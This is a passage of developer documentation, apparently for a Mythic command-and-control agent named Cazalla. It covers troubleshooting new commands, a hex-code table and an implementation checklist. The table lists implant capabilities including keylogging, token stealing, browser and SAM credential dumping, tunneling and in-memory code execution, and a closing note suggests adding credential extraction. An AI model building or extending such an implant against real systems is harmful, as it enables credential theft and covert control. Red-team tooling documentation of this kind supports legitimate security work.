3. Verify response is received correctly
|
||||||
|
4. Check for any errors in agent logs
|
||||||
|
|
||||||
|
## 🐛 Common Issues and Solutions
|
||||||
|
|
||||||
|
### Issue: Command Not Appearing in UI
|
||||||
|
|
||||||
|
**Solution:**
|
||||||
|
- Verify Python file is in `agent_functions/` directory
|
||||||
|
- Check that class name ends with `Command` (e.g., `PingCommand`)
|
||||||
|
- Restart Mythic agent container
|
||||||
|
- Check Mythic logs for import errors
|
||||||
|
|
||||||
|
### Issue: Compilation Errors
|
||||||
|
|
||||||
|
**Solution:**
|
||||||
|
- Verify hex code is unique (check `comandos.h`)
|
||||||
|
- Ensure `#ifdef` blocks are properly closed
|
||||||
|
- Check that handler function is declared before use
|
||||||
|
- Verify all includes are correct
|
||||||
|
|
||||||
|
### Issue: Command Not Executing
|
||||||
|
|
||||||
|
**Solution:**
|
||||||
|
- Verify command was selected during payload build
|
||||||
|
- Check that hex code matches in translator and `comandos.h`
|
||||||
|
- Verify handler is registered in `comandos.c`
|
||||||
|
- Check agent logs for error messages
|
||||||
|
|
||||||
|
### Issue: Response Not Received
|
||||||
|
|
||||||
|
**Solution:**
|
||||||
|
- Verify response packet is created correctly
|
||||||
|
- Check that task UUID is added to response
|
||||||
|
- Ensure `mandarPaquete()` is called
|
||||||
|
- Verify packet is properly formatted
|
||||||
|
|
||||||
|
## 📚 Reference: Command Hex Codes
|
||||||
|
|
||||||
|
Current hex code allocations in Cazalla:
|
||||||
|
|
||||||
|
- `0x00`: GET_TASKING
|
||||||
|
- `0x01`: POST_RESPONSE
|
||||||
|
- `0x15`: PROCESS_CMD (ps)
|
||||||
|
- `0x20-0x28`: File system commands (cd, ls, pwd, cp, mkdir, rm, cat, download, upload)
|
||||||
|
- `0x29`: SCREENSHOT_CMD
|
||||||
|
- `0x30-0x31`: Keylogging (start, stop)
|
||||||
|
- `0x32-0x37`: Token operations (list_tokens, steal_token, make_token, rev2self, whoami, kill)
|
||||||
|
- `0x38`: SLEEP_CMD
|
||||||
|
- `0x40-0x42`: Browser and SAM (browser_info, browser_dump, samdump)
|
||||||
|
- `0x54`: SHELL_CMD
|
||||||
|
- `0x60-0x63`: Network tunneling (socks, rpfwd)
|
||||||
|
- `0x70-0x71`: Code execution (inline_execute, inline_execute_assembly)
|
||||||
|
- `0x80`: EXIT_CMD
|
||||||
|
- `0xF1`: CHECKIN
|
||||||
|
|
||||||
|
**Available ranges for new commands:**
|
||||||
|
- `0x43-0x53`: Available
|
||||||
|
- `0x55-0x5F`: Available
|
||||||
|
- `0x64-0x6F`: Available
|
||||||
|
- `0x72-0x7F`: Available
|
||||||
|
- `0x81-0xF0`: Available (avoid 0xF1-F5, 0xF7-F8 which are used for markers)
|
||||||
|
|
||||||
|
## ✅ Checklist
|
||||||
|
|
||||||
|
Use this checklist when adding a new command:
|
||||||
|
|
||||||
|
- [ ] Python command file created in `agent_functions/`
|
||||||
|
- [ ] Command class inherits from `CommandBase`
|
||||||
|
- [ ] `cmd` attribute matches command name
|
||||||
|
- [ ] `builtin` attribute set appropriately
|
||||||
|
- [ ] Command added to translator `commands` dictionary
|
||||||
|
- [ ] Hex code defined in `comandos.h`
|
||||||
|
- [ ] C handler function implemented
|
||||||
|
- [ ] Handler registered in `comandos.c` dispatch chain
|
||||||
|
- [ ] Command added to `builder.py` `command_to_define` mapping
|
||||||
|
- [ ] Handler wrapped in `#ifdef ENABLE_XXX_CMD`
|
||||||
|
- [ ] Includes added if needed
|
||||||
|
- [ ] Command tested in payload build
|
||||||
|
- [ ] Command tested in execution
|
||||||
|
- [ ] Documentation updated (optional)
|
||||||
|
|
||||||
|
## 🔗 Related Documentation
|
||||||
|
|
||||||
|
- [Commands Reference](commands.md) - Complete list of all commands
|
||||||
|
- [Getting Started](getting-started.md) - Installation and setup
|
||||||
|
- [Features Overview](features.md) - Detailed feature explanations
|
||||||
|
- [OPSEC Guide](opsec.md) - Operational security considerations
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Next Steps:** After implementing your command, consider:
|
||||||
|
- Adding OPSEC warnings for risky operations
|
||||||
|
- Implementing artifact tracking for system modifications
|
||||||
|
- Adding credential extraction if applicable
|
||||||
|
- Writing unit tests for your command logic
|
||||||
|
- Documenting your command in the commands reference
|
||||||
Reference in New Issue
Block a user